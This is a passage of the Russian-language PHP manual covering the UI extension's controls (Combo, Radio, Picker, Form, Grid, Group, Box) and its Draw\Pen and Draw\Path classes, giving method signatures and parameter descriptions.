  • UI\Controls\Combo
  • Обработчик выбранной опции

UI\Controls\Combo::onSelected

(UI 0.9.9)

UI\Controls\Combo::onSelected — Обработчик выбранной опции

Описание

protected UI\Controls\Combo::onSelected()

Выполняется, если в этом элементе "Комбо" выбрана опция

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает выбранную опцию

  • « UI\Controls\Combo::onSelected
  • UI\Controls\EditableCombo »
  • PHP Manual
  • UI\Controls\Combo
  • Устанавливает выбранную опцию

UI\Controls\Combo::setSelected

(UI 0.9.9)

UI\Controls\Combo::setSelected — Устанавливает выбранную опцию

Описание

public UI\Controls\Combo::setSelected(int $index)

Установит выбранную в данный момент опцию в данном элементе "Комбо"

Список параметров

index

Индекс опции для выбора

User Contributed Notes

There are no user contributed notes for this page.


Редактируемый элемент управления "Комбо"

(UI 0.9.9)

Введение

Редактируемый элемент управления "Комбо" позволяет пользователю вводить произвольные опции

Обзор классов

class UI\Controls\EditableCombo extends UI\Control {
/* Методы */
public append(string $text)
public getText(): string
protected onChange()
public setText(string $text)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Содержание

  • UI\Controls\EditableCombo::append — Добавить опцию
  • UI\Controls\EditableCombo::getText — Получить текст
  • UI\Controls\EditableCombo::onChange — Обработчик изменения
  • UI\Controls\EditableCombo::setText — Установить текст

User Contributed Notes

There are no user contributed notes for this page.


Добавить опцию

  • « UI\Controls\EditableCombo
  • UI\Controls\EditableCombo::getText »
  • PHP Manual
  • UI\Controls\EditableCombo
  • Добавить опцию

UI\Controls\EditableCombo::append

(UI 0.9.9)

UI\Controls\EditableCombo::append — Добавить опцию

Описание

public UI\Controls\EditableCombo::append(string $text)

Добавить опцию к данному редактируемому элементу "Комбо"

Список параметров

text

Текст для новой опции

User Contributed Notes

There are no user contributed notes for this page.


Получить текст

  • « UI\Controls\EditableCombo::append
  • UI\Controls\EditableCombo::onChange »
  • PHP Manual
  • UI\Controls\EditableCombo
  • Получить текст

UI\Controls\EditableCombo::getText

(UI 0.9.9)

UI\Controls\EditableCombo::getText — Получить текст

Описание

public UI\Controls\EditableCombo::getText(): string

Получает значение выбранной в данный момент опции в данном редактируемом элементе "Комбо"

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Обработчик изменения

  • « UI\Controls\EditableCombo::getText
  • UI\Controls\EditableCombo::setText »
  • PHP Manual
  • UI\Controls\EditableCombo
  • Обработчик изменения

UI\Controls\EditableCombo::onChange

(UI 0.9.9)

UI\Controls\EditableCombo::onChange — Обработчик изменения

Описание

protected UI\Controls\EditableCombo::onChange()

Выполняется, когда изменяется значение данного редактируемого элемента "Комбо"

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Установить текст

  • « UI\Controls\EditableCombo::onChange
  • UI\Controls\Radio »
  • PHP Manual
  • UI\Controls\EditableCombo
  • Установить текст

UI\Controls\EditableCombo::setText

(UI 0.9.9)

UI\Controls\EditableCombo::setText — Установить текст

Описание

public UI\Controls\EditableCombo::setText(string $text)

Установит текст выбранной в данный момент опции в данном редактируемом элементе "Комбо"

Список параметров

text

Новый текст

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления "Радио"

(UI 0.9.9)

Введение

Радио похож на радиокнопку из HTML

Обзор классов

class UI\Controls\Radio extends UI\Control {
/* Методы */
public append(string $text)
public getSelected(): int
protected onSelected()
public setSelected(int $index)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Содержание

  • UI\Controls\Radio::append — Добавляет вариант
  • UI\Controls\Radio::getSelected — Получить выбранный вариант
  • UI\Controls\Radio::onSelected — Обработчик выбора
  • UI\Controls\Radio::setSelected — Установить выбранный вариант

User Contributed Notes

There are no user contributed notes for this page.


Добавляет вариант

  • « UI\Controls\Radio
  • UI\Controls\Radio::getSelected »
  • PHP Manual
  • UI\Controls\Radio
  • Добавляет вариант

UI\Controls\Radio::append

(UI 0.9.9)

UI\Controls\Radio::append — Добавляет вариант

Описание

public UI\Controls\Radio::append(string $text)

Добавляет новый вариант для радиокнопки

Список параметров

text

Текст (метка) для данного варианта

User Contributed Notes

There are no user contributed notes for this page.


Получить выбранный вариант

  • « UI\Controls\Radio::append
  • UI\Controls\Radio::onSelected »
  • PHP Manual
  • UI\Controls\Radio
  • Получить выбранный вариант

UI\Controls\Radio::getSelected

(UI 0.9.9)

UI\Controls\Radio::getSelected — Получить выбранный вариант

Описание

public UI\Controls\Radio::getSelected(): int

Получает индекс выбранного в данный момент варианта в данной радиокнопке

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Обработчик выбора

  • « UI\Controls\Radio::getSelected
  • UI\Controls\Radio::setSelected »
  • PHP Manual
  • UI\Controls\Radio
  • Обработчик выбора

UI\Controls\Radio::onSelected

(UI 0.9.9)

UI\Controls\Radio::onSelected — Обработчик выбора

Описание

protected UI\Controls\Radio::onSelected()

Выполняется, когда выбирается вариант в данной радиокнопке

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Установить выбранный вариант

  • « UI\Controls\Radio::onSelected
  • UI\Controls\Picker »
  • PHP Manual
  • UI\Controls\Radio
  • Установить выбранный вариант

UI\Controls\Radio::setSelected

(UI 0.9.9)

UI\Controls\Radio::setSelected — Установить выбранный вариант

Описание

public UI\Controls\Radio::setSelected(int $index)

Включить выбранный в данный момент вариант

Список параметров

index

Индекс варианта для выбора

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления "Селектор"

(UI 0.9.9)

Введение

Селектор представляет кнопку, которая при нажатии открывает нативный интерфейс селектора даты/времени/даты и времени.

Обзор классов

class UI\Controls\Picker extends UI\Control {
/* Константы */
const int Date;
const int Time;
const int DateTime;
/* Конструктор */
public __construct(int $type = UI\Controls\Picker::Date)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Предопределённые константы

UI\Controls\Picker::Date

Селектор даты

UI\Controls\Picker::Time

Селектор времени

UI\Controls\Picker::DateTime

Селектор даты и времени

Содержание

  • UI\Controls\Picker::__construct — Создаёт новый объект Picker

User Contributed Notes

falcon560 at gmail dot com 05-Nov-2017 07:54
No getter method for the date/time


Создаёт новый объект Picker

  • « UI\Controls\Picker
  • UI\Controls\Form »
  • PHP Manual
  • UI\Controls\Picker
  • Создаёт новый объект Picker

UI\Controls\Picker::__construct

(UI 0.9.9)

UI\Controls\Picker::__construct — Создаёт новый объект Picker

Описание

public UI\Controls\Picker::__construct(int $type = UI\Controls\Picker::Date)

Создать новый объект Picker заданного типа

Список параметров

type

Picker::Date, Picker::Time или Picker::DateTime

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления "Форма" (расположение)

(UI 0.9.9)

Введение

Форма - это элемент управления, позволяющий размещать другие элементы управления в макете (форме).

Обзор классов

class UI\Controls\Form extends UI\Control {
/* Свойства */
protected $controls;
/* Методы */
public append(string $label, UI\Control $control, bool $stretchy = false): int
public delete(int $index): bool
public isPadded(): bool
public setPadded(bool $padded)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Свойства

controls

Содержит элементы управления, не стоит изменять напрямую

Содержание

  • UI\Controls\Form::append — Добавить управляющий элемент
  • UI\Controls\Form::delete — Удалить элемент управления
  • UI\Controls\Form::isPadded — Определение заполнения
  • UI\Controls\Form::setPadded — Установить заполнение

User Contributed Notes

There are no user contributed notes for this page.


Добавить управляющий элемент

  • « UI\Controls\Form
  • UI\Controls\Form::delete »
  • PHP Manual
  • UI\Controls\Form
  • Добавить управляющий элемент

UI\Controls\Form::append

(UI 0.9.9)

UI\Controls\Form::append — Добавить управляющий элемент

Описание

public UI\Controls\Form::append(string $label, UI\Control $control, bool $stretchy = false): int

Добавляет элемент управления к форме и устанавливает метку

Список параметров

label

Текст для метки

control

Управляющий элемент

stretchy

Должно быть значение true, чтобы растянуть элемент управления

Возвращаемые значения

Возвращает индекс добавленного элемента управления, может быть значение 0

User Contributed Notes

There are no user contributed notes for this page.


Удалить элемент управления

  • « UI\Controls\Form::append
  • UI\Controls\Form::isPadded »
  • PHP Manual
  • UI\Controls\Form
  • Удалить элемент управления

UI\Controls\Form::delete

(UI 0.9.9)

UI\Controls\Form::delete — Удалить элемент управления

Описание

public UI\Controls\Form::delete(int $index): bool

Удаляет управляющий элемент заданного индекса в данной форме

Список параметров

index

Индекс элемента управления для удаления

Возвращаемые значения

Индикатор успешности выполнения

User Contributed Notes

There are no user contributed notes for this page.


Определение заполнения

  • « UI\Controls\Form::delete
  • UI\Controls\Form::setPadded »
  • PHP Manual
  • UI\Controls\Form
  • Определение заполнения

UI\Controls\Form::isPadded

(UI 0.9.9)

UI\Controls\Form::isPadded — Определение заполнения

Описание

public UI\Controls\Form::isPadded(): bool

Определяет, включено ли заполнение в данной форме

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Установить заполнение

  • « UI\Controls\Form::isPadded
  • UI\Controls\Grid »
  • PHP Manual
  • UI\Controls\Form
  • Установить заполнение

UI\Controls\Form::setPadded

(UI 0.9.9)

UI\Controls\Form::setPadded — Установить заполнение

Описание

public UI\Controls\Form::setPadded(bool $padded)

Определяет, включено или выключено заполнение в данной форме

Список параметров

padded

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления "Сетка" (размещение)

(UI 0.9.9)

Введение

Сетка - это элемент управления, позволяющий размещать дочерние элементы в сетке

Обзор классов

class UI\Controls\Grid extends UI\Control {
/* Константы */
const int Fill;
const int Start;
const int Center;
const int End;
const int Leading;
const int Top;
const int Trailing;
const int Bottom;
/* Свойства */
protected $controls;
/* Методы */
public append(
UI\Control $control,
int $left,
int $top,
int $xspan,
int $yspan,
bool $hexpand,
int $halign,
bool $vexpand,
int $valign
)
public isPadded(): bool
public setPadded(bool $padding)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Предопределённые константы

UI\Controls\Grid::Fill

UI\Controls\Grid::Start

UI\Controls\Grid::Center

UI\Controls\Grid::End

UI\Controls\Grid::Leading

UI\Controls\Grid::Top

UI\Controls\Grid::Trailing

UI\Controls\Grid::Bottom

Свойства

controls

Содержит элементы управления, не стоит изменять напрямую

Содержание

  • UI\Controls\Grid::append — Добавить управляющий элемент
  • UI\Controls\Grid::isPadded — Определение заполнения
  • UI\Controls\Grid::setPadded — Установить заполнение

User Contributed Notes

There are no user contributed notes for this page.


Добавить управляющий элемент

  • « UI\Controls\Grid
  • UI\Controls\Grid::isPadded »
  • PHP Manual
  • UI\Controls\Grid
  • Добавить управляющий элемент

UI\Controls\Grid::append

(UI 0.9.9)

UI\Controls\Grid::append — Добавить управляющий элемент

Описание

public UI\Controls\Grid::append(
UI\Control $control,
int $left,
int $top,
int $xspan,
int $yspan,
bool $hexpand,
int $halign,
bool $vexpand,
int $valign
)

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

control

Элемент управления для добавления

left

top

xspan

yspan

hexpand

halign

vexpand

valign

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Определение заполнения

  • « UI\Controls\Grid::append
  • UI\Controls\Grid::setPadded »
  • PHP Manual
  • UI\Controls\Grid
  • Определение заполнения

UI\Controls\Grid::isPadded

(UI 0.9.9)

UI\Controls\Grid::isPadded — Определение заполнения

Описание

public UI\Controls\Grid::isPadded(): bool

Определяет, включено ли заполнение в данной сетке

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Установить заполнение

  • « UI\Controls\Grid::isPadded
  • UI\Controls\Group »
  • PHP Manual
  • UI\Controls\Grid
  • Установить заполнение

UI\Controls\Grid::setPadded

(UI 0.9.9)

UI\Controls\Grid::setPadded — Установить заполнение

Описание

public UI\Controls\Grid::setPadded(bool $padding)

Определяет, включено или выключено заполнение в данной сетке

Список параметров

padding

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления "Группа" (размещение)

(UI 0.9.9)

Введение

Группа представляет контейнер для дочерних элементов

Обзор классов

class UI\Controls\Group extends UI\Control {
/* Свойства */
protected $controls;
/* Конструктор */
public __construct(string $title)
/* Методы */
public append(UI\Control $control)
public getTitle(): string
public hasMargin(): bool
public setMargin(bool $margin)
public setTitle(string $title)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Свойства

controls

Содержит элементы управления, не стоит изменять напрямую

Содержание

  • UI\Controls\Group::append — Добавить управляющий элемент
  • UI\Controls\Group::__construct — Создать новый объект Group
  • UI\Controls\Group::getTitle — Получить заголовок
  • UI\Controls\Group::hasMargin — Определение поля
  • UI\Controls\Group::setMargin — Установить поле
  • UI\Controls\Group::setTitle — Установить заголовок

User Contributed Notes

There are no user contributed notes for this page.


Добавить управляющий элемент

  • « UI\Controls\Group
  • UI\Controls\Group::__construct »
  • PHP Manual
  • UI\Controls\Group
  • Добавить управляющий элемент

UI\Controls\Group::append

(Информация о версии неизвестна, возможно, только в Git)

UI\Controls\Group::append — Добавить управляющий элемент

Описание

public UI\Controls\Group::append(UI\Control $control)

Добавляет элемент управления к группе

Список параметров

control

Управляющий элемент для добавления

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект Group

  • « UI\Controls\Group::append
  • UI\Controls\Group::getTitle »
  • PHP Manual
  • UI\Controls\Group
  • Создать новый объект Group

UI\Controls\Group::__construct

(UI 0.9.9)

UI\Controls\Group::__construct — Создать новый объект Group

Описание

public UI\Controls\Group::__construct(string $title)

Создаёт новый объект Group с заданным заголовком

Список параметров

title

Текст заголовка метки

User Contributed Notes

There are no user contributed notes for this page.


Получить заголовок

  • « UI\Controls\Group::__construct
  • UI\Controls\Group::hasMargin »
  • PHP Manual
  • UI\Controls\Group
  • Получить заголовок

UI\Controls\Group::getTitle

(UI 0.9.9)

UI\Controls\Group::getTitle — Получить заголовок

Описание

public UI\Controls\Group::getTitle(): string

Возвращает текущий заголовок для данной группы

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущий заголовок

User Contributed Notes

There are no user contributed notes for this page.


Определение поля

  • « UI\Controls\Group::getTitle
  • UI\Controls\Group::setMargin »
  • PHP Manual
  • UI\Controls\Group
  • Определение поля

UI\Controls\Group::hasMargin

(UI 0.9.9)

UI\Controls\Group::hasMargin — Определение поля

Описание

public UI\Controls\Group::hasMargin(): bool

Определяет, имеет ли данная группа поле (margin)

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Установить поле

  • « UI\Controls\Group::hasMargin
  • UI\Controls\Group::setTitle »
  • PHP Manual
  • UI\Controls\Group
  • Установить поле

UI\Controls\Group::setMargin

(UI 0.9.9)

UI\Controls\Group::setMargin — Установить поле

Описание

public UI\Controls\Group::setMargin(bool $margin)

Включить или отключить поля для данной группы

Список параметров

margin

User Contributed Notes

There are no user contributed notes for this page.


Установить заголовок

  • « UI\Controls\Group::setMargin
  • UI\Controls\Box »
  • PHP Manual
  • UI\Controls\Group
  • Установить заголовок

UI\Controls\Group::setTitle

(UI 0.9.9)

UI\Controls\Group::setTitle — Установить заголовок

Описание

public UI\Controls\Group::setTitle(string $title)

Установить заголовок для заданной группы

Список параметров

title

Текст для нового заголовка

User Contributed Notes

There are no user contributed notes for this page.


Блок управления (размещение)

(UI 0.9.9)

Введение

Блок (Box) позволяет расположить другие элементы управления

Обзор классов

class UI\Controls\Box extends UI\Control {
/* Константы */
const int Vertical;
const int Horizontal;
/* Свойства */
protected $controls;
/* Конструктор */
public __construct(int $orientation = UI\Controls\Box::Horizontal)
/* Методы */
public append(Control $control, bool $stretchy = false): int
public delete(int $index): bool
public getOrientation(): int
public isPadded(): bool
public setPadded(bool $padded)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Свойства

controls

Содержит элементы управления, не следует использовать напрямую

Предопределённые константы

UI\Controls\Box::Vertical

UI\Controls\Box::Horizontal

Содержание

  • UI\Controls\Box::append — Добавить управляющий элемент
  • UI\Controls\Box::__construct — Создать новый объект Box
  • UI\Controls\Box::delete — Удалить управляющий элемент
  • UI\Controls\Box::getOrientation — Получить ориентацию
  • UI\Controls\Box::isPadded — Определение заполнения
  • UI\Controls\Box::setPadded — Установить заполнение

User Contributed Notes

There are no user contributed notes for this page.


Добавить управляющий элемент

  • « UI\Controls\Box
  • UI\Controls\Box::__construct »
  • PHP Manual
  • UI\Controls\Box
  • Добавить управляющий элемент

UI\Controls\Box::append

(UI 0.9.9)

UI\Controls\Box::append — Добавить управляющий элемент

Описание

public UI\Controls\Box::append(Control $control, bool $stretchy = false): int

Добавит заданный управляющий элемент к этому блоку

Список параметров

control

Добавляемый элемент управления

stretchy

Установить значение true, чтобы растянуть управляющий элемент

Возвращаемые значения

Возвратит индекс добавляемого элемента управления, может быть значением 0

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект Box

  • « UI\Controls\Box::append
  • UI\Controls\Box::delete »
  • PHP Manual
  • UI\Controls\Box
  • Создать новый объект Box

UI\Controls\Box::__construct

(UI 0.9.9)

UI\Controls\Box::__construct — Создать новый объект Box

Описание

public UI\Controls\Box::__construct(int $orientation = UI\Controls\Box::Horizontal)

Создаст новый блок

Список параметров

orientation

Box::Horizontal или Box::Vertical

User Contributed Notes

There are no user contributed notes for this page.


Удалить управляющий элемент

  • « UI\Controls\Box::__construct
  • UI\Controls\Box::getOrientation »
  • PHP Manual
  • UI\Controls\Box
  • Удалить управляющий элемент

UI\Controls\Box::delete

(UI 0.9.9)

UI\Controls\Box::delete — Удалить управляющий элемент

Описание

public UI\Controls\Box::delete(int $index): bool

Удалит элемент управления заданного индекса из данного блока

Список параметров

index

Индекс элемента управления для удаления

Возвращаемые значения

Показатель успешности выполнения

User Contributed Notes

There are no user contributed notes for this page.


Получить ориентацию

  • « UI\Controls\Box::delete
  • UI\Controls\Box::isPadded »
  • PHP Manual
  • UI\Controls\Box
  • Получить ориентацию

UI\Controls\Box::getOrientation

(UI 0.9.9)

UI\Controls\Box::getOrientation — Получить ориентацию

Описание

public UI\Controls\Box::getOrientation(): int

Получает ориентацию данного блока

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Определение заполнения

  • « UI\Controls\Box::getOrientation
  • UI\Controls\Box::setPadded »
  • PHP Manual
  • UI\Controls\Box
  • Определение заполнения

UI\Controls\Box::isPadded

(UI 0.9.9)

UI\Controls\Box::isPadded — Определение заполнения

Описание

public UI\Controls\Box::isPadded(): bool

Определяет, включено ли заполнение в этом блоке

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Установить заполнение

  • « UI\Controls\Box::isPadded
  • UI\Draw\Pen »
  • PHP Manual
  • UI\Controls\Box
  • Установить заполнение

UI\Controls\Box::setPadded

(UI 0.9.9)

UI\Controls\Box::setPadded — Установить заполнение

Описание

public UI\Controls\Box::setPadded(bool $padded)

Определяет, включено или выключено заполнение в этом блоке

Список параметров

padded

User Contributed Notes

There are no user contributed notes for this page.


Рисование с помощью "Перо"

(UI 0.9.9)

Введение

Перо передаётся обработчику события "рисованию области" (Area Draw), он используется для обрезания, заполнения, обводки и записи в "пути рисования" (Draw Paths).

Обзор классов

final class UI\Draw\Pen {
/* Методы */
public clip(UI\Draw\Path $path)
public fill(UI\Draw\Path $path, UI\Draw\Brush $with)
public fill(UI\Draw\Path $path, UI\Draw\Color $with)
public fill(UI\Draw\Path $path, int $with)
public restore()
public save()
public stroke(UI\Draw\Path $path, UI\Draw\Brush $with, UI\Draw\Stroke $stroke)
public stroke(UI\Draw\Path $path, UI\Draw\Color $with, UI\Draw\Stroke $stroke)
public stroke(UI\Draw\Path $path, int $with, UI\Draw\Stroke $stroke)
public transform(UI\Draw\Matrix $matrix)
public write(UI\Point $point, UI\Draw\Text\Layout $layout)
}

Содержание

  • UI\Draw\Pen::clip — Обрезать путь
  • UI\Draw\Pen::fill — Залить путь
  • UI\Draw\Pen::restore — Восстановить
  • UI\Draw\Pen::save — Сохранить
  • UI\Draw\Pen::stroke — Обвести путь
  • UI\Draw\Pen::transform — Преобразовывает матрицу
  • UI\Draw\Pen::write — Нарисовать текст в точке

User Contributed Notes

There are no user contributed notes for this page.


Обрезать путь

  • « UI\Draw\Pen
  • UI\Draw\Pen::fill »
  • PHP Manual
  • UI\Draw\Pen
  • Обрезать путь

UI\Draw\Pen::clip

(UI 0.9.9)

UI\Draw\Pen::clip — Обрезать путь

Описание

public UI\Draw\Pen::clip(UI\Draw\Path $path)

Обрежет заданный путь

Список параметров

path

Путь для обрезки

User Contributed Notes

There are no user contributed notes for this page.


Залить путь

  • « UI\Draw\Pen::clip
  • UI\Draw\Pen::restore »
  • PHP Manual
  • UI\Draw\Pen
  • Залить путь

UI\Draw\Pen::fill

(UI 0.9.9)

UI\Draw\Pen::fill — Залить путь

Описание

public UI\Draw\Pen::fill(UI\Draw\Path $path, UI\Draw\Brush $with)
public UI\Draw\Pen::fill(UI\Draw\Path $path, UI\Draw\Color $with)
public UI\Draw\Pen::fill(UI\Draw\Path $path, int $with)

Заливает заданный путь

Список параметров

path

Путь для заливки

with

Цвет или кисть для заливки

User Contributed Notes

There are no user contributed notes for this page.


Восстановить

  • « UI\Draw\Pen::fill
  • UI\Draw\Pen::save »
  • PHP Manual
  • UI\Draw\Pen
  • Восстановить

UI\Draw\Pen::restore

(UI 0.9.9)

UI\Draw\Pen::restore — Восстановить

Описание

public UI\Draw\Pen::restore()

Восстановит ранее сохранённое перо

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Сохранить

  • « UI\Draw\Pen::restore
  • UI\Draw\Pen::stroke »
  • PHP Manual
  • UI\Draw\Pen
  • Сохранить

UI\Draw\Pen::save

(UI 0.9.9)

UI\Draw\Pen::save — Сохранить

Описание

public UI\Draw\Pen::save()

Сохранит перо

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Обвести путь

  • « UI\Draw\Pen::save
  • UI\Draw\Pen::transform »
  • PHP Manual
  • UI\Draw\Pen
  • Обвести путь

UI\Draw\Pen::stroke

(UI 0.9.9)

UI\Draw\Pen::stroke — Обвести путь

Описание

public UI\Draw\Pen::stroke(UI\Draw\Path $path, UI\Draw\Brush $with, UI\Draw\Stroke $stroke)
public UI\Draw\Pen::stroke(UI\Draw\Path $path, UI\Draw\Color $with, UI\Draw\Stroke $stroke)
public UI\Draw\Pen::stroke(UI\Draw\Path $path, int $with, UI\Draw\Stroke $stroke)

Обведёт путь

Список параметров

path

Путь для обводки

with

Цвет или кисть, чтобы обвести

stroke

Конфигурация обводки

User Contributed Notes

There are no user contributed notes for this page.


Преобразовывает матрицу

  • « UI\Draw\Pen::stroke
  • UI\Draw\Pen::write »
  • PHP Manual
  • UI\Draw\Pen
  • Преобразовывает матрицу

UI\Draw\Pen::transform

(UI 0.9.9)

UI\Draw\Pen::transform — Преобразовывает матрицу

Описание

public UI\Draw\Pen::transform(UI\Draw\Matrix $matrix)

Преобразовывает матрицу.

Список параметров

matrix

Матрица для преобразования.

User Contributed Notes

There are no user contributed notes for this page.


Нарисовать текст в точке

  • « UI\Draw\Pen::transform
  • UI\Draw\Path »
  • PHP Manual
  • UI\Draw\Pen
  • Нарисовать текст в точке

UI\Draw\Pen::write

(UI 0.9.9)

UI\Draw\Pen::write — Нарисовать текст в точке

Описание

public UI\Draw\Pen::write(UI\Point $point, UI\Draw\Text\Layout $layout)

Нарисует заданный макет текста в заданной точке

Список параметров

point

Точка для рисования

layout

Макет текста для рисования

User Contributed Notes

There are no user contributed notes for this page.


Путь рисования

(UI 0.9.9)

Введение

Путь рисования направляет перо, где рисовать по области

Обзор классов

class UI\Draw\Path {
/* Константы */
const int Winding;
const int Alternate;
/* Конструктор */
public __construct(int $mode = UI\Draw\Path::Winding)
/* Методы */
public addRectangle(UI\Point $point, UI\Size $size)
public arcTo(
UI\Point $point,
float $radius,
float $angle,
float $sweep,
float $negative
)
public bezierTo(
UI\Point $point,
float $radius,
float $angle,
float $sweep,
float $negative
)
public closeFigure()
public end()
public lineTo(
UI\Point $point,
float $radius,
float $angle,
float $sweep,
float $negative
)
public newFigure(UI\Point $point)
public newFigureWithArc(
UI\Point $point,
float $radius,
float $angle,
float $sweep,
float $negative
)
}

Предопределённые константы

UI\Draw\Path::Winding

Это режим рисования по умолчанию

UI\Draw\Path::Alternate

Это альтернативный режим рисования

Содержание

  • UI\Draw\Path::addRectangle — Нарисовать прямоугольник
  • UI\Draw\Path::arcTo — Нарисовать дугу
  • UI\Draw\Path::bezierTo — Нарисовать кривую Безье
  • UI\Draw\Path::closeFigure — Закрыть фигуру
  • UI\Draw\Path::__construct — Создать новый объект Path
  • UI\Draw\Path::end — Завершить путь
  • UI\Draw\Path::lineTo — Нарисовать линию
  • UI\Draw\Path::newFigure — Нарисовать фигуру
  • UI\Draw\Path::newFigureWithArc — Нарисовать фигуру с дугой

User Contributed Notes

There are no user contributed notes for this page.


Нарисовать прямоугольник

  • « UI\Draw\Path
  • UI\Draw\Path::arcTo »
  • PHP Manual
  • UI\Draw\Path
  • Нарисовать прямоугольник

UI\Draw\Path::addRectangle

(UI 0.9.9)

UI\Draw\Path::addRectangle — Нарисовать прямоугольник

Описание

public UI\Draw\Path::addRectangle(UI\Point $point, UI\Size $size)

Нарисовать путь прямоугольника заданного размера в определённой точке

Список параметров

point

Точка начала формы

size

Размер прямоугольника

User Contributed Notes

There are no user contributed notes for this page.


Нарисовать дугу

  • « UI\Draw\Path::addRectangle
  • UI\Draw\Path::bezierTo »
  • PHP Manual
  • UI\Draw\Path
  • Нарисовать дугу

UI\Draw\Path::arcTo

(UI 0.9.9)

UI\Draw\Path::arcTo — Нарисовать дугу

Описание

public UI\Draw\Path::arcTo(
UI\Point $point,
float $radius,
float $angle,
float $sweep,
float $negative
)

Нарисует дугу

Список параметров

point

Точка начала отображения

radius

Радиус дуги

angle

Угол дуги

sweep

Размах дуги

negative

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Нарисовать кривую Безье

  • « UI\Draw\Path::arcTo
  • UI\Draw\Path::closeFigure »
  • PHP Manual
  • UI\Draw\Path
  • Нарисовать кривую Безье

UI\Draw\Path::bezierTo

(UI 0.9.9)

UI\Draw\Path::bezierTo — Нарисовать кривую Безье

Описание

public UI\Draw\Path::bezierTo(
UI\Point $point,
float $radius,
float $angle,
float $sweep,
float $negative
)

Нарисует кривую Безье

Список параметров

point

Точка начала отображения

radius

Радиус кривой

angle

Угол кривой

sweep

Размах кривой

negative

User Contributed Notes

There are no user contributed notes for this page.


Закрыть фигуру

  • « UI\Draw\Path::bezierTo
  • UI\Draw\Path::__construct »
  • PHP Manual
  • UI\Draw\Path
  • Закрыть фигуру

UI\Draw\Path::closeFigure

(UI 0.9.9)

UI\Draw\Path::closeFigure — Закрыть фигуру

Описание

public UI\Draw\Path::closeFigure()

Закроет текущую фигуру

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект Path

  • « UI\Draw\Path::closeFigure
  • UI\Draw\Path::end »
  • PHP Manual
  • UI\Draw\Path
  • Создать новый объект Path

UI\Draw\Path::__construct

(UI 0.9.9)

UI\Draw\Path::__construct — Создать новый объект Path

Описание

public UI\Draw\Path::__construct(int $mode = UI\Draw\Path::Winding)

Создаст новый путь в заданном режиме

Список параметров

mode

Path::Winding или Path::Alternate

User Contributed Notes

There are no user contributed notes for this page.


Завершить путь

  • « UI\Draw\Path::__construct
  • UI\Draw\Path::lineTo »
  • PHP Manual
  • UI\Draw\Path
  • Завершить путь

UI\Draw\Path::end

(UI 0.9.9)

UI\Draw\Path::end — Завершить путь

Описание

public UI\Draw\Path::end()

Завершит данный путь

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Нарисовать линию

  • « UI\Draw\Path::end
  • UI\Draw\Path::newFigure »
  • PHP Manual
  • UI\Draw\Path
  • Нарисовать линию

UI\Draw\Path::lineTo

(UI 0.9.9)

UI\Draw\Path::lineTo — Нарисовать линию

Описание

